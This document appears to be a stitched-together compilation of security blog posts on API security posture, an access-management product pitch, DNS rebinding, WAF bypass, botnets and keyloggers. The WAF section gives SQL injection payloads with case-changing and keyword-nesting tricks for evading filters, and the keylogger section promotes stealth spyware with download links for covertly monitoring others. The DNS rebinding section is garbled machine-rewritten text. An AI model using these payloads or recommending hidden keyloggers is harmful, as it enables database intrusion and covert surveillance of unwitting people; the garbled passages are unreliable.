How to Improve Your API Security Posture

 

APIs, more formally known as application programming interfaces, empower apps and microservices to communicate and share data. However, this level of connectivity doesn't come without major risks. Hackers can exploit vulnerabilities in APIs to gain unauthorized access to sensitive data or even take control of the entire system. Therefore, it's essential to have a robust API security posture to protect your organization from potential threats.

What is API posture management?#

API posture management refers to the process of monitoring and managing the security posture of your APIs. It involves identifying potential vulnerabilities and misconfigurations that could be exploited by attackers, and taking the necessary steps to remediate them. Posture management also helps organizations classify sensitive data and ensure that it's compliant with the leading data compliance regulations such as GDPR, HIPAA, and PCI DSS.

As mentioned above, APIs are a popular target for attackers because they often provide direct access to sensitive data and systems. By implementing an API posture management tool, organizations can proactively identify and remediate potential security issues before they're exploited.

You can download a free copy of the Definitive Guide to API Posture Management to learn more.

How does API posture management work?#

API posture management involves several key steps:

1. Discovery: The first step is to identify all APIs in use within an organization. This can be done using automated tools or through manual inventory.
2. Assessment: Once APIs have been identified, they need to be assessed for potential vulnerabilities and misconfigurations. This can be done using tools that scan APIs for known vulnerabilities or by conducting manual penetration testing.
3. Remediation: Any vulnerabilities or misconfigurations that are identified need to be remediated. This may involve applying patches, reconfiguring APIs, or implementing additional security controls.
4. Monitoring: Finally, APIs need to be continuously monitored to ensure that they remain secure. This may involve implementing intrusion detection systems, log analysis, or other monitoring tools.

How to improve your API security posture#

Here are some best practices that can help improve your API security posture:

1. Use Secure Authentication and Authorization Mechanisms#

Authentication and authorization mechanisms are essential components of API security. They help ensure that only authorized users can access the API and perform specific actions. It is essential to use secure authentication and authorization mechanisms, such as OAuth 2.0 or OpenID Connect, to protect your APIs from unauthorized access.

2. Implement Role-Based Access Control#

Role-based access control (RBAC) is a security model that restricts access to resources based on the user's role. RBAC can help prevent unauthorized access to sensitive data by limiting access to only those users who need it to perform their job functions.

3. Use SSL/TLS Encryption#

SSL/TLS encryption is a security protocol that encrypts data transmitted between the client and the server. It helps prevent eavesdropping and ensures that data is transmitted securely. It is essential to use SSL/TLS encryption to protect your APIs from man-in-the-middle attacks.

4. Implement Rate Limiting#

Rate limiting is a technique that restricts the number of API requests that can be made within a specific time frame. It can help prevent API abuse and ensure that the API is available to all users. Implementing rate limiting can also help protect your APIs from denial-of-service (DoS) attacks.

5. Monitor and Log API Activity#

Monitoring and logging API activity can help detect suspicious activity and potential security breaches. It is essential to monitor API activity in real-time and log all API requests and responses. This can help identify security incidents and enable you to take appropriate action.

6. Conduct Regular API Security Audits#

Regular API security audits can help identify vulnerabilities and misconfigurations that may have been missed during the initial implementation. It is essential to conduct regular security audits to ensure that your APIs are secure and compliant with industry standards.

Conclusion#

APIs are a critical component of modern software development. However, with the increasing use of APIs, the risk of security breaches has also increased. Implementing API posture management can help improve your API security posture and protect your organization from potential threats. By following the best practices outlined in this article, you can reduce the risk of security breaches and ensure that your APIs are secure and compliant with industry standards.

This Definitive Guide focuses on the key requirements for API Security Posture Management — click here to download now

5 Reasons Why Access Management is the Key to Securing the Modern Workplace

 The way we work has undergone a dramatic transformation in recent years. We now operate within digital ecosystems, where remote work and the reliance on a multitude of digital tools is the norm rather than the exception. This shift – as you likely know from your own life – has led to superhuman levels of productivity that we wouldn't ever want to give up. But moving fast comes at a cost. And for our digital work environment, that cost is security.

Our desire for innovation, speed and efficiency has birthed new and complex security challenges that all in some way or another revolve around securing how we access resources. Because of this, effective access management now plays a more critical role in securing the modern workplace than ever. Follow along as we uncover five reasons why this is the case.

Educating People About Security is Not Working#

For years, we've held the belief that educating people about cyberthreats would make them more cautious online. Yet, despite 17 years of annual Cybersecurity Awareness Month initiatives, internet users are more susceptible to online threats than ever. Why is this so?

The shortcoming of security training is that it often fails to consider the wider organizational culture, policies, systems, and individual nuances such as a person's IT skills, comprehension levels, age, and gender. As a result, while training might cause temporary changes in behavior, it struggles to imprint lasting changes.

Now, we can't simply discard training.

What we can do is integrate it into a broader approach, one that recognizes the limitations of cybersecurity education and applies security solutions in areas like access management to minimize human-related risk.

This type of approach is similar to how the car industry does safety. We don't train everyone to be a professional driver. That would be unsustainable and hard to scale. Instead, we build cars with safety measures in place that greatly reduce the chances (and potential impact) of accidents.

We're Only Becoming More Digital#

The rapid digital transformation of the modern workplace brings both advantages and challenges. With the average company using over 250 apps and global cloud spending projected to reach $600 billion by 2023, we've seen unprecedented productivity boosts. However, every new app, device, and user increases an organization's digital attack surface.

This expansion puts immense pressure on IT teams who must maintain control of an organization's digital assets. Ensuring every tool is updated, every device is secure, and every user has the correct access rights is a complex task.

In this context, effective access management is paramount. It helps organizations maintain control over who can access what, securing the attack surface and mitigating the risk of unauthorized access.

Tricking Humans is Easier than Exploiting Systems#

Cybersecurity is no longer confined to just securing systems; it's about securing humans as well.

This shift in focus has been largely driven by the rise of social engineering tactics, where cybercriminals employ techniques like phishing, pretexting, and baiting to manipulate individuals into revealing sensitive information. The reason for this shift is simple: it's often easier to trick a person than to hack a system.

Humans, being creatures of habit, follow predictable patterns and can be susceptible to cognitive biases. For instance, we tend to be overly trusting and often seek the path of least resistance. These traits make us prime targets for cybercriminals who employ sophisticated schemes to exploit these vulnerabilities. In essence, our predictable behavior makes us the weakest link in the cybersecurity chain.

The rapid pace of digital transformation has also added to this problem. As we face an increasing amount of information daily and are expected to work at ever-increasing speeds, we risk falling into decision fatigue. This high-pressure environment can lead us to let our guard down, making us more susceptible to cyberattacks.

Given these challenges, it's clear that security solutions must adapt to our behavior, not rely on it. This entails implementing robust access management measures to protect against common human errors such as accidental data sharing or the use of weak passwords.

Technology Falls Short When Humans Make Errors#

Even the most sophisticated security systems are not immune to one profound vulnerability: human error. However, despite accounting for at least 88% of breaches, human error is an often-overlooked element that could potentially bring even the most advanced security systems to its knees.

The paradox lies in the fact that while technology evolves at a rapid pace, our habits and behaviors don't necessarily keep up. For instance, even with an advanced security infrastructure in place, a single moment of negligence such as clicking on a suspicious link or using an insecure network can expose an entire system to threats.

The implications of human error in cybersecurity can be likened to the act of meticulously locking your front door, only to leave a window wide open. No matter how advanced or secure your lock system is, if an open window is available, your security measures are rendered pointless. The challenge, therefore, is to find solutions that not only protect against external threats but also factor in the variable of human error.

We're Living in a Password Pandemic#

In the age of digital transformation, we've found ourselves grappling with what can be best described as a "password pandemic." As digital tools become more embedded in our daily lives, the number of accounts and consequently, the number of passwords each of us has to remember, have exploded.

The result is a troubling trend where individuals are increasingly losing control over their passwords. To cope with this, it's become all too common to resort to risky password practices, like using the same password across multiple platforms, or using easily guessable passwords. In the quest for convenience, we are willingly sacrificing security, thereby presenting cybercriminals with easy opportunities.

What's more, businesses face the daunting task of managing an enormous amount of login credentials, further escalating the risk of password-related breaches. This "password fatigue" makes it clear that we need smarter, more user-friendly approaches to managing access to our digital resources, ones that can offer convenience without compromising on security.

Implementing an Access Management Solution is Paramount#

The common thread running through these trends is that they all pose critical challenges to securing access to systems and resources.

To be fair, businesses have deployed traditional access management measures like SSO for decades. Instead, what needs to change is that these solutions must be able to adapt to both an expanding digital attack surface, but also embrace the unreliable nature of human actions.

The burden of security can no longer fall solely on the user's awareness or intent. Organizations must shoulder the responsibility of cybersecurity, which entails setting employees up for security success by proactively enforcing secure habits through solutions that suit the way people work today.

For businesses operating within Europe, the urgency of these measures is heightened due to the upcoming implementation of the NIS2 directive. Non-compliance is not an option and carries serious legal and financial consequences. Hence, implementing robust and efficient access management systems isn't just a choice, it's a necessity.

Address Modern Access Management Needs with a Modern Solution#

Uniqkey, a cybersecurity company originating from Europe, aims to address the access-related challenges posed by today's ever-evolving digital workplaces. Recognizing that IT teams are heavily overloaded, Uniqkey provides a comprehensive access management platform designed to simplify and enhance access control and password management.

This platform streamlines access management by offering centralized control of an organization's digital assets. By doing so, Uniqkey effectively simplifies the task of managing permissions and user access, making it easier to ensure the integrity of a company's digital infrastructure.

Uniqkey also offers an intuitive password manager designed for employees that empowers individuals by securing the use of passwords in the workplace. By shifting the burden of secure password practices away from the user and onto an automated system, Uniqkey promotes safer habits without demanding significant behavioral changes from the end user.

This user-centric approach is what distinguishes solutions like Uniqkey from competitors.

Beyond empowering IT tools with the right tools to manage access effectively, their solution embraces people's innately flawed behavior, fostering healthy secure practices from the bottom and up. This way, they permanently address the human-centered challenges posed by our modern digital workplaces.

In conclusion, as our modern workplaces become increasingly digital, our approach to security needs to evolve concurrently. We can't afford to overlook the importance of a modern access management solution. Platforms like Uniqkey offer businesses the opportunity to stay ahead of potential access-related threats, ensuring not just survival, but the ability to thrive in this ever-evolving digital landscape.

What is DNS Rebinding Attack? It's Work And Protection

what's DNS Rebinding attack? it's paintings And safety

what's DNS Rebinding attack?

DNS rebinding is a shape of pc attack or can say domain call laptop based totally attack. on this assault, a malicious net web page reasons traffic to run a client-facet script that assaults machines somewhere else on the network.

DNS rebinding attack may be used to breach a private network by using causing the victim's internet browser to get admission to machines at private IP addresses and return the results to the attacker. it could also be employed to use the sufferer system for spamming, allotted denial-of-provider attacks or other malicious sports.

Cybercriminal also can do DNS rebinding assault via Malicious advertising and marketing after which they are able to get right of entry to non-public facts on the network.

How DNS rebinding works?

The attacker registers a domain (consisting of anydomain.com) and delegates it to a DNS server underneath the attacker's manage. The server is configured to reply with a totally quick time to stay (TTL) report, preventing the response from being cached. while the sufferer browses to the malicious area, the attacker's DNS server first responds with the IP deal with of a server website hosting the malicious purchaser-side code.

 

as an instance, they might point the sufferer's browser to a internet site that incorporates malicious JavaScript or Flash scripts which are meant to execute at the victim's laptop.

The malicious customer-facet code makes additional accesses to the authentic domain name (along with attacker.com). these are accepted by way of the identical-beginning coverage. however, whilst the sufferer's browser runs the script it makes a new DNS request for the domain, and the attacker replies with a new IP address. for instance, they might reply with an inner IP deal with or the IP address of a goal somewhere else at the internet.

How can we guard Themselves?

the following strategies try and prevent DNS rebinding assaults:

 always use a robust password on your router. 

To Disable admin get right of entry to console in your router from any outside community.

internet browsers can put into effect DNS pinning: the IP cope with is locked to the cost obtained in the first DNS reaction. This technique may also block a few valid makes use of of Dynamic DNS, and might not work in opposition to all attacks. however, it is essential to fail secure (stop rendering) if the IP address does alternate, because the use of an IP address past the TTL expiration can open the other vulnerability whilst the IP address has legitimately changed and the expired IP address may additionally now be controlled via an attacker.

personal IP addresses may be filtered out of DNS responses.

outside public DNS servers with this filtering e.g. OpenDNS.

neighborhood sysadmins can configure the enterprise's neighborhood nameservers to block the resolution of external names into internal IP addresses. This has the downside of allowing an attacker to map the internal deal with tiers in use.

DNS filtering in a firewall or daemon e.g. dnswall.

net servers can reject HTTP requests with an unrecognized Host header.

The Firefox NoScript extension provides partial safety (for non-public networks)

It become first determined in 1996 and affected Java digital gadget.

Bypass Web Application Firewalls

Web application firewalls are designed to protect web applications from known attacks, such as SQL injection attacks, that are commonly used to compromise websites. They do this by intercepting requests sent by clients and enforcing strict rules about their formatting and payload. Today we demonstrate some tricks to bypass Web application firewall (WAF).

Sqli
http://xyz.com/detail.php?id=44 union all select 1,2,3,4,5— –

By passed Sqli
http://xyz.com/detailphp?id=44 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3,4,5— –

By Function Capitalization:-
Some Web Application Firewalls will filter only lowercase alphabets, So we can easily bypass by case changing.

Actual query
http://xyz.com/detail.php?id=44 UNION SELECT 1,2,3,4,5—

Query to bypass the WAFhttp://xyz.com/detail.php?id=-1 uniOn SeLeCt 1,2,3,4,5—

By Replaced Keywords:-

Some WAF’s will escape certain keywords such as UNION, SELECT, ORDER BY, etc. This can be used to our advantage by duplicating the detected word within another like below script.

Actual query
http://vulnerablesite.com/detail.php?id=-1 UNION SELECT 1,2,3,4,5—

Query to bypass the WAF
http://vulnerablesite.com/detail.php?id=-1 UNIunionON SEselectLECT 1,2,3,4,5– –

We hope you enjoyed this trick.!!

Botnet

         

A botnet or robot network is a group of computers running a computer application controlled and manipulated only by the owner or the software source. The botnet may refer to a legitimate network of several computers that share program processing amongst them.

Usually though, when people talk about botnets, they are talking about a group of computers infected with the malicious kind of robot software, the bots, which present a security threat to the computer owner. Once the robot software (also known as malicious software or malware) has been successfully installed in a computer, this computer becomes a zombie or a drone, unable to resist the commands of the bot commander.

A botnet may be small or large depending on the complexity and sophistication of the bots used. A large botnet may be composed of ten thousand individual zombies. A small botnet, on the other hand may be composed of only a thousand drones. Usually, the owners of the zombie computers do not know that their computers and their computers’ resources are being remotely controlled and exploited by an individual or a group of malware runners through Internet Relay Chat (IRC)

There are various types of malicious bots that have already infected and are continuing to infect the internet. Some bots have their own spreaders – the script that lets them infect other computers (this is the reason why some people dub botnets as computer viruses) – while some smaller types of bots do not have such capabilities.

Different Types of Bots

Here is a list of the most used bots in the internet today, their features and command set.

XtremBot, Agobot, Forbot, Phatbot

These are currently the best known bots with more than 500 versions in the internet today. The bot is written using C++ with cross platform capabilities as a compiler and GPL as the source code. These bots can range from the fairly simple to highly abstract module-based designs. Because of its modular approach, adding commands or scanners to increase its efficiency in taking advantage of vulnerabilities is fairly easy. It can use libpcap packet sniffing library, NTFS ADS and PCRE. Agobot is quite distinct in that it is the only bot that makes use of other control protocols besides IRC.

UrXBot, SDBot, UrBot and RBot

Like the previous type of bot, these bots are published under GPL, but unlike the above mentioned bots these bots are less abstract in design and written in rudimentary C compiler language. Although its implementation is less varied and its design less sohisticated, these type of bots are well known and widely used in the internet.

GT-Bots and mIRC based bots

These bots have many versions in the internet mainly because mIRC is one of the most used IRC client for windows. GT stands for global threat and is the common name for bots scripted using mIRC. GT-bots make use of the mIRC chat client to launch a set of binaries (mainly DLLs) and scripts; their scripts often have the file extensions .mrc.
Malicious Uses of Botnets

Types Of Botnet Attacks

Denial of Service Attacks

A botnet can be used as a distributed denial of service weapon. A botnet attacks a network or a computer system for the purpose of disrupting service through the loss of connectivity or consumption of the victim network’s bandwidth and overloading of the resources of the victim’s computer system. Botnet attacks are also used to damage or take down a competitor’s website.

Fast flux is a DNS technique used by botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies.

Any Internet service can be a target by botnets. This can be done through flooding the website with recursive HTTP or bulletin-board search queries. This mode of attack in which higher level protocols are utilised to increase the effects of an attack is also termed as spidering.

Spyware

It’s a software which sends information to its creators about a user’s activities – typically passwords, credit card numbers and other information that can be sold on the black market. Compromised machines that are located within a corporate network can be worth more to the bot herder, as they can often gain access to confidential information held within that company. There have been several targeted attacks on large corporations with the aim of stealing sensitive information, one such example is the Aurora botnet.

Adware

Its exists to advertise some commercial entity actively and without the user’s permission or awareness, for example by replacing banner ads on web pages with those of another content provider.

Spamming and Traffic Monitoring

A botnet can also be used to take advantage of an infected computer’s TCP/IP’s SOCKS proxy protocol for networking applications. After compromising a computer, the botnet commander can use the infected unit (a zombie) in conjunction with other zombies in his botnet (robot network) to harvest email addresses or to send massive amounts of spam or phishing emails.

Moreover, a bot can also function as a packet sniffer to find and intercept sensitive data passing through an infected machine. Typical data that these bots look out for are usernames and passwords which the botnet commander can use for his personal gain. Data about a competitor botnet installed in the same unit is also mined so the botnet commander can hijack this other botnet.

Access number replacements are where the botnet operator replaces the access numbers of a group of dial-up bots to that of a victim’s phone number. Given enough bots partake in this attack, the victim is consistently bombarded with phone calls attempting to connect to the internet. Having very little to defend against this attack, most are forced into changing their phone numbers (land line, cell phone, etc.).

Keylogging and Mass Identity Theft

An encryption software within the victims’ units can deter most bots from harvesting any real information. Unfortunately, some bots have adapted to this by installing a keylogger program in the infected machines. With a keylogger program, the bot owner can use a filtering program to gather only the key sequence typed before or after interesting keywords like PayPal or Yahoo mail. This is one of the reasons behind the massive PayPal accounts theft for the past several years.

Bots can also be used as agents for mass identity theft. It does this through phishing or pretending to be a legitimate company in order to convince the user to submit personal information and passwords. A link in these phishing emails can also lead to fake PayPal, eBay or other websites to trick the user into typing in the username and password.

Botnet Spread

Botnets can also be used to spread other botnets in the network. It does this by convincing the user to download after which the program is executed through FTP, HTTP or email.

Pay-Per-Click Systems Abuse

Botnets can be used for financial gain by automating clicks on a pay-per-click system. Compromised units can be used to click automatically on a site upon activation of a browser. For this reason, botnets are also used to earn money from Google’s Adsense and other affiliate programs by using zombies to artificially increase the click counter of an advertisement.

Keylogger Tutorial

Keylogger Tutorial

Keylogger monitor the keys typed in a user can easily find user passwords and other information a user may not wish others to know about.

Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted to an unknown third party.

About keyloggers

key loggersA keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the user. Keylogger is commonly included in rootkits.

A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.

There are other approaches to capturing info about what you are doing.

* Some keyloggers capture screens, rather than keystrokes.
* Other keyloggers will secretly turn on video or audio recorders, and transmit what they capture over your internet connection.

A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the registry. Or a keyloggers could be which boasts these features:

* Stealth: invisible in process list
* Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
* ProBot program files and registry entries are hidden (Windows 2000 / XP)
* Includes Remote Deployment wizard
* Active window titles and process names logging
* Keystroke / password logging
* Regional keyboard support
* Keylogging in NT console windows
* Launched applications list
* Text snapshots of active applications.
* Visited Internet URL logger
* Capture HTTP POST data (including logins/passwords)
* File and Folder creation/removal logging
* Mouse activities
* Workstation user and timestamp recording
* Log file archiving, separate log files for each user
* Log file secure encryption
* Password authentication
* Invisible operation
* Native GUI session log presentation
* Easy log file reports with Instant Viewer 2 Web interface
* HTML and Text log file export
* Automatic E-mail log file delivery
* Easy setup & uninstall wizards
* Support for Windows (R) 95/98/ME and Windows (R) NT/2000/XP

Tools:

Ardamax Keylogger is a keystroke recorder that captures user’s activity and saves it to an encrypted log file. The log file can be viewed with the powerful Log Viewer. Use this tool to find out what is happening on your computer while you are away, maintain a backup of your typed data automatically or use it to monitor your kids. Also you can use it as a monitoring device for detecting unauthorised access. Logs can be automatically sent to your e-mail address, access to the keylogger is password protected. Besides, Ardamax Keylogger logs information about the Internet addresses the user has visited.

This invisible spy application is designed for 2000, XP, 2003, Vista and Windows 7.

• Security – allows you to protect program settings, Hidden Mode and Log file.
• Application monitoring – keylogger will record the application that was in use that received the keystroke!
• Time/Date tracking – it allows you to pinpoint the exact time a window received a keystroke!
• Powerful Log Viewer – you can view and save the log as a HTML page or plain text with keylogger Log Viewer.
• Small size – Ardamax Keylogger is several times smaller than other programs with the same features. It has no additional modules and libraries, so its size is smaller and the performance is higher.
• Ardamax Keylogger fully supports Unicode characters which makes it possible to record keystrokes that include characters from Japanese, Chinese, Arabic and many other character sets.
• It records every keystroke. Captures passwords and all other invisible text.

Other Features:

• Windows 2000/2003/XP/Vista/Windows 7 support
• Monitors multi-user machines
• Automatic startup
• Friendly interface
• Easy to install

Download Ardamax Keylogger(1.94Mb)

Perfect Keylogger for Windows 98/2000/XP/Vista and Windows 7

The latest, improved and most stealth version of Perfect Keylogger is now available only after purchase. To protect the product from abuse and improve its quality for the registered users, we no longer offer the trial version of the latest builds. The localized versions of Perfect Keyloger and 64-bit version are also available after purchase. The last public version is still available, but keep in mind that it’s not the latest and may be flagged by security software.

Download Perfect keylogger